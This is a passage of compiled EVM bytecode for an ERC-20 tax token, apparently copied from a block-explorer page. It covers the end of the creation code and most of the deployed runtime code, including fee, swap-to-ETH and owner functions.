a81548160ff02191690831515021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060048054610c20906124f1565b80601f0160208091040260200160405190810160405280929190818152602001828054610c4c906124f1565b8015610c995780601f10610c6e57610100808354040283529160200191610c99565b820191906000526020600020905b815481529060010190602001808311610c7c57829003601f168201915b5050505050905090565b60008060016000610cb2611000565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6690612219565b60405180910390fd5b610d83610d7a611000565b85858403611008565b600191505092915050565b6000610da2610d9b611000565b84846111d3565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600e5481565b610e41611000565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec790612199565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3790612119565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611078576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106f906121f9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110df90612139565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111c69190612239565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123a906121b9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112aa906120f9565b60405180910390fd5b60008114156112cd576112c883836000611696565b611691565b60006112d8306108db565b90506000600e5482101590508080156112fe5750600f60019054906101000a900460ff16155b80156113585750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156113705750600f60029054906101000a900460ff165b156113d1576001600f60016101000a81548160ff021916908315150217905550600f60009054906101000a900460ff16156113ab57600e5491505b6113b58583611917565b6000600f60016101000a81548160ff0219169083151502179055505b600d60009054906101000a900460ff16801561143b5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156114945750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156114a15750600c5442105b156114b25760006114b157600080fd5b5b6000600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115555750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061156c5750600f60019054906101000a900460ff165b1561157a5760009050611642565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156115da576009549050611641565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561163a57600a549050611640565b600b5490505b5b5b60008111156116825760006064828661165b91906123a5565b6116659190612374565b9050808561167391906123ff565b9450611680873083611696565b505b61168d868686611696565b5050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611706576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fd906121b9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611776576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176d906120f9565b60405180910390fd5b611781838383611cae565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611807576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fe90612159565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461189a919061231e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118fe9190612239565b60405180910390a3611911848484611cb3565b50505050565b60004790506000600367ffffffffffffffff81111561195f577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561198d5781602001602082028036833780820191505090505b50905030816000815181106119cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508381600181518110611a40577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ae257600080fd5b505afa158015611af6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b1a9190611d20565b81600281518110611b54577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b8152600401611bf2959493929190612254565b600060405180830381600087803b158015611c0c57600080fd5b505af1158015611c20573d6000803e3d6000fd5b5050505060008247611c3291906123ff565b90506000811115611ca757600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611ca5573d6000803e3d6000fd5b505b5050505050565b505050565b505050565b600081359050611cc78161288b565b92915050565b600081519050611cdc8161288b565b92915050565b600081359050611cf1816128a2565b92915050565b600060208284031215611d0957600080fd5b6000611d1784828501611cb8565b91505092915050565b600060208284031215611d3257600080fd5b6000611d4084828501611ccd565b91505092915050565b60008060408385031215611d5c57600080fd5b6000611d6a85828601611cb8565b9250506020611d7b85828601611cb8565b9150509250929050565b600080600060608486031215611d9a57600080fd5b6000611da886828701611cb8565b9350506020611db986828701611cb8565b9250506040611dca86828701611ce2565b9150509250925092565b60008060408385031215611de757600080fd5b6000611df585828601611cb8565b9250506020611e0685828601611ce2565b9150509250929050565b6000611e1c8383611e28565b60208301905092915050565b611e3181612433565b82525050565b611e4081612433565b82525050565b6000611e51826122d9565b611e5b81856122fc565b9350611e66836122c9565b8060005b83811015611e97578151611e7e8882611e10565b9750611e89836122ef565b925050600181019050611e6a565b5085935050505092915050565b611ead81612445565b82525050565b611ebc81612488565b82525050565b611ecb816124ac565b82525050565b6000611edc826122e4565b611ee6818561230d565b9350611ef68185602086016124be565b611eff816125b0565b840191505092915050565b6000611f1760238361230d565b9150611f22826125c1565b604082019050919050565b6000611f3a60268361230d565b9150611f4582612610565b604082019050919050565b6000611f5d60228361230d565b9150611f688261265f565b604082019050919050565b6000611f8060268361230d565b9150611f8b826126ae565b604082019050919050565b6000611fa360288361230d565b9150611fae826126fd565b604082019050919050565b6000611fc660208361230d565b9150611fd18261274c565b602082019050919050565b6000611fe960258361230d565b9150611ff482612775565b604082019050919050565b600061200c60138361230d565b9150612017826127c4565b602082019050919050565b600061202f60248361230d565b915061203a826127ed565b604082019050919050565b600061205260258361230d565b915061205d8261283c565b604082019050919050565b61207181612471565b82525050565b6120808161247b565b82525050565b600060208201905061209b6000830184611e37565b92915050565b60006020820190506120b66000830184611ea4565b92915050565b60006020820190506120d16000830184611eb3565b92915050565b600060208201905081810360008301526120f18184611ed1565b905092915050565b6000602082019050818103600083015261211281611f0a565b9050919050565b6000602082019050818103600083015261213281611f2d565b9050919050565b6000602082019050818103600083015261215281611f50565b9050919050565b6000602082019050818103600083015261217281611f73565b9050919050565b6000602082019050818103600083015261219281611f96565b9050919050565b600060208201905081810360008301526121b281611fb9565b9050919050565b600060208201905081810360008301526121d281611fdc565b9050919050565b600060208201905081810360008301526121f281611fff565b9050919050565b6000602082019050818103600083015261221281612022565b9050919050565b6000602082019050818103600083015261223281612045565b9050919050565b600060208201905061224e6000830184612068565b92915050565b600060a0820190506122696000830188612068565b6122766020830187611ec2565b81810360408301526122888186611e46565b90506122976060830185611e37565b6122a46080830184612068565b9695505050505050565b60006020820190506122c36000830184612077565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061232982612471565b915061233483612471565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561236957612368612523565b5b828201905092915050565b600061237f82612471565b915061238a83612471565b92508261239a57612399612552565b5b828204905092915050565b60006123b082612471565b91506123bb83612471565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156123f4576123f3612523565b5b828202905092915050565b600061240a82612471565b915061241583612471565b92508282101561242857612427612523565b5b828203905092915050565b600061243e82612451565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006124938261249a565b9050919050565b60006124a582612451565b9050919050565b60006124b782612471565b9050919050565b60005b838110156124dc5780820151818401526020810190506124c1565b838111156124eb576000848401525b50505050565b6000600282049050600182168061250957607f821691505b6020821081141561251d5761251c612581565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f4e65772061646472657373206973207a65726f00000000000000000000000000600082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b61289481612433565b811461289f57600080fd5b50565b6128ab81612471565b81146128b657600080fd5b5056fea2646970667358221220939078c77e92b9a887bb047d0018bffb824fee4d7fe216864516ddd58cc448a264736f6c63430008030033

Deployed Bytecode

0x60806040526004361061014f5760003560e01c8063702509fd116100b657806395d89b411161006f57806395d89b4114610493578063a457c2d7146104be578063a9059cbb146104fb578063dd62ed3e14610538578063e2f4560514610575578063f2fde38b146105a057610156565b8063702509fd1461039557806370a08231146103c057806370b7b80c146103fd578063715018a6146104285780638da5cb5b1461043f57806391c1004a1461046a57610156565b8063313ce56711610108578063313ce5671461028157806339509351146102ac57806347062402146102e9578063488eb37f1461031457806349bd5a5e1461033f5780634ada218b1461036a57610156565b806306fdde031461015b578063095ea7b3146101865780631694505e146101c357806318160ddd146101ee57806323b872dd146102195780632b14ca561461025657610156565b3661015657005b600080fd5b34801561016757600080fd5b506101706105c9565b60405161017d91906120d7565b60405180910390f35b34801561019257600080fd5b506101ad60048036038101906101a89190611dd4565b61065b565b6040516101ba91906120a1565b60405180910390f35b3480156101cf57600080fd5b506101d8610679565b6040516101e591906120bc565b60405180910390f35b3480156101fa57600080fd5b5061020361069f565b6040516102109190612239565b60405180910390f35b34801561022557600080fd5b50610240600480360381019061023b9190611d85565b6106a9565b60405161024d91906120a1565b60405180910390f35b34801561026257600080fd5b5061026b6107c8565b6040516102789190612239565b60405180910390f35b34801561028d57600080fd5b506102966107ce565b6040516102a391906122ae565b60405180910390f35b3480156102b857600080fd5b506102d360048036038101906102ce9190611dd4565b6107d7565b6040516102e091906120a1565b60405180910390f35b3480156102f557600080fd5b506102fe610883565b60405161030b9190612239565b60405180910390f35b34801561032057600080fd5b50610329610889565b60405161033691906120a1565b60405180910390f35b34801561034b57600080fd5b5061035461089c565b6040516103619190612086565b60405180910390f35b34801561037657600080fd5b5061037f6108c2565b60405161038c91906120a1565b60405180910390f35b3480156103a157600080fd5b506103aa6108d5565b6040516103b79190612239565b60405180910390f35b3480156103cc57600080fd5b506103e760048036038101906103e29190611cf7565b6108db565b6040516103f49190612239565b60405180910390f35b34801561040957600080fd5b50610412610923565b60405161041f9190612239565b60405180910390f35b34801561043457600080fd5b5061043d610929565b005b34801561044b57600080fd5b50610454610a81565b6040516104619190612086565b60405180910390f35b34801561047657600080fd5b50610491600480360381019061048c9190611cf7565b610aab565b005b34801561049f57600080fd5b506104a8610c11565b6040516104b591906120d7565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e09190611dd4565b610ca3565b6040516104f291906120a1565b60405180910390f35b34801561050757600080fd5b50610522600480360381019061051d9190611dd4565b610d8e565b60405161052f91906120a1565b60405180910390f35b34801561054457600080fd5b5061055f600480360381019061055a9190611d49565b610dac565b60405161056c9190612239565b60405180910390f35b34801561058157600080fd5b5061058a610e33565b6040516105979190612239565b60405180910390f35b3480156105ac57600080fd5b506105c760048036038101906105c29190611cf7565b610e39565b005b6060600380546105d8906124f1565b80601f0160208091040260200160405190810160405280929190818152602001828054610604906124f1565b80156106515780601f1061062657610100808354040283529160200191610651565b820191906000526020600020905b81548152906001019060200180831161063457829003601f168201915b5050505050905090565b600061066f610668611000565b8484611008565b6001905092915050565b600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600254905090565b600080600160008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006106f5611000565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146107b1578281101561079c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161079390612179565b60405180910390fd5b6107b0856107a8611000565b858403611008565b5b6107bc8585856111d3565b60019150509392505050565b600a5481565b60006012905090565b60006108796107e4611000565b8484600160006107f2611000565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610874919061231e565b611008565b6001905092915050565b60095481565b600f60009054906101000a900460ff1681565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600d60009054906101000a900460ff1681565b600b5481565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600c5481565b610931611000565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146109c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109b790612199565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a36000600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610ab3611000565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b42576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b3990612199565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ba9906121d9565b60405180910390fd5b6001600f60026101000a81548160ff02191690831515021790555080600660006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060048054610c20906124f1565b80601f0160208091040260200160405190810160405280929190818152602001828054610c4c906124f1565b8015610c995780601f10610c6e57610100808354040283529160200191610c99565b820191906000526020600020905b815481529060010190602001808311610c7c57829003601f168201915b5050505050905090565b60008060016000610cb2611000565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905082811015610d6f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6690612219565b60405180910390fd5b610d83610d7a611000565b85858403611008565b600191505092915050565b6000610da2610d9b611000565b84846111d3565b6001905092915050565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600e5481565b610e41611000565b73ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec790612199565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610f40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3790612119565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff16600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a380600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611078576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106f906121f9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156110e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110df90612139565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516111c69190612239565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123a906121b9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156112b3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112aa906120f9565b60405180910390fd5b60008114156112cd576112c883836000611696565b611691565b60006112d8306108db565b90506000600e5482101590508080156112fe5750600f60019054906101000a900460ff16155b80156113585750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156113705750600f60029054906101000a900460ff165b156113d1576001600f60016101000a81548160ff021916908315150217905550600f60009054906101000a900460ff16156113ab57600e5491505b6113b58583611917565b6000600f60016101000a81548160ff0219169083151502179055505b600d60009054906101000a900460ff16801561143b5750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614155b80156114945750600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b80156114a15750600c5442105b156114b25760006114b157600080fd5b5b6000600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806115555750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b8061156c5750600f60019054906101000a900460ff165b1561157a5760009050611642565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff1614156115da576009549050611641565b600760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16141561163a57600a549050611640565b600b5490505b5b5b60008111156116825760006064828661165b91906123a5565b6116659190612374565b9050808561167391906123ff565b9450611680873083611696565b505b61168d868686611696565b5050505b505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611706576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116fd906121b9565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611776576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161176d906120f9565b60405180910390fd5b611781838383611cae565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611807576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117fe90612159565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825461189a919061231e565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516118fe9190612239565b60405180910390a3611911848484611cb3565b50505050565b60004790506000600367ffffffffffffffff81111561195f577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561198d5781602001602082028036833780820191505090505b50905030816000815181106119cb577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250508381600181518110611a40577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ae257600080fd5b505afa158015611af6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b1a9190611d20565b81600281518110611b54577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478460008430426040518663ffffffff1660e01b8152600401611bf2959493929190612254565b600060405180830381600087803b158015611c0c57600080fd5b505af1158015611c20573d6000803e3d6000fd5b5050505060008247611c3291906123ff565b90506000811115611ca757600d60019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015611ca5573d6000803e3d6000fd5b505b5050505050565b505050565b505050565b600081359050611cc78161288b565b92915050565b600081519050611cdc8161288b565b92915050565b600081359050611cf1816128a2565b92915050565b600060208284031215611d0957600080fd5b6000611d1784828501611cb8565b91505092915050565b600060208284031215611d3257600080fd5b6000611d4084828501611ccd565b91505092915050565b60008060408385031215611d5c57600080fd5b6000611d6a85828601611cb8565b9250506020611d7b85828601611cb8565b9150509250929050565b600080600060608486031215611d9a57600080fd5b6000611da886828701611cb8565b9350506020611db986828701611cb8565b9250506040611dca86828701611ce2565b9150509250925092565b60008060408385031215611de757600080fd5b6000611df585828601611cb8565b9250506020611e0685828601611ce2565b9150509250929050565b6000611e1c8383611e28565b60208301905092915050565b611e3181612433565b82525050565b611e4081612433565b82525050565b6000611e51826122d9565b611e5b81856122fc565b9350611e66836122c9565b8060005b83811015611e97578151611e7e8882611e10565b9750611e89836122ef565b925050600181019050611e6a565b5085935050505092915050565b611ead81612445565b82525050565b611ebc81612488565b82525050565b611ecb816124ac565b82525050565b6000611edc826122e4565b611ee6818561230d565b9350611ef68185602086016124be565b611eff816125b0565b840191505092915050565b6000611f1760238361230d565b9150611f22826125c1565b604082019050919050565b6000611f3a60268361230d565b9150611f4582612610565b604082019050919050565b6000611f5d60228361230d565b9150611f688261265f565b604082019050919050565b6000611f8060268361230d565b9150611f8b826126ae565b604082019050919050565b6000611fa360288361230d565b9150611fae826126fd565b604082019050919050565b6000611fc660208361230d565b9150611fd18261274c565b602082019050919050565b6000611fe960258361230d565b9150611ff482612775565b604082019050919050565b600061200c60138361230d565b9150612017826127c4565b602082019050919050565b600061202f60248361230d565b915061203a826127ed565b604082019050919050565b600061205260258361230d565b915061205d8261283c565b604082019050919050565b61207181612471565b82525050565b6120808161247b565b82525050565b600060208201905061209b6000830184611e37565b92915050565b60006020820190506120b66000830184611ea4565b92915050565b60006020820190506120d16000830184611eb3565b92915050565b600060208201905081810360008301526120f18184611ed1565b905092915050565b6000602082019050818103600083015261211281611f0a565b9050919050565b6000602082019050818103600083015261213281611f2d565b9050919050565b6000602082019050818103600083015261215281611f50565b9050919050565b6000602082019050818103600083015261217281611f73565b9050919050565b6000602082019050818103600083015261219281611f96565b9050919050565b600060208201905081810360008301526121b281611fb9565b9050919050565b600060208201905081810360008301526121d281611fdc565b9050919050565b600060208201905081810360008301526121f281611fff565b9050919050565b6000602082019050818103600083015261221281612022565b9050919050565b6000602082019050818103600083015261223281612045565b9050919050565b600060208201905061224e6000830184612068565b92915050565b600060a0820190506122696000830188612068565b6122766020830187611ec2565b81810360408301526122888186611e46565b90506122976060830185611e37565b6122a46080830184612068565b9695505050505050565b60006020820190506122c36000830184612077565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061232982612471565b915061233483612471565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561236957612368612523565b5b828201905092915050565b600061237f82612471565b915061238a83612471565b92508261239a57612399612552565b5b828204905092915050565b60006123b082612471565b91506123bb83612471565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156123f4576123f3612523565b5b828202905092915050565b600061240a82612471565b915061241583612471565b92508282101561242857612427612523565b5b828203905092915050565b600061243e82612451565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006124938261249a565b9050919050565b60006124a582612451565b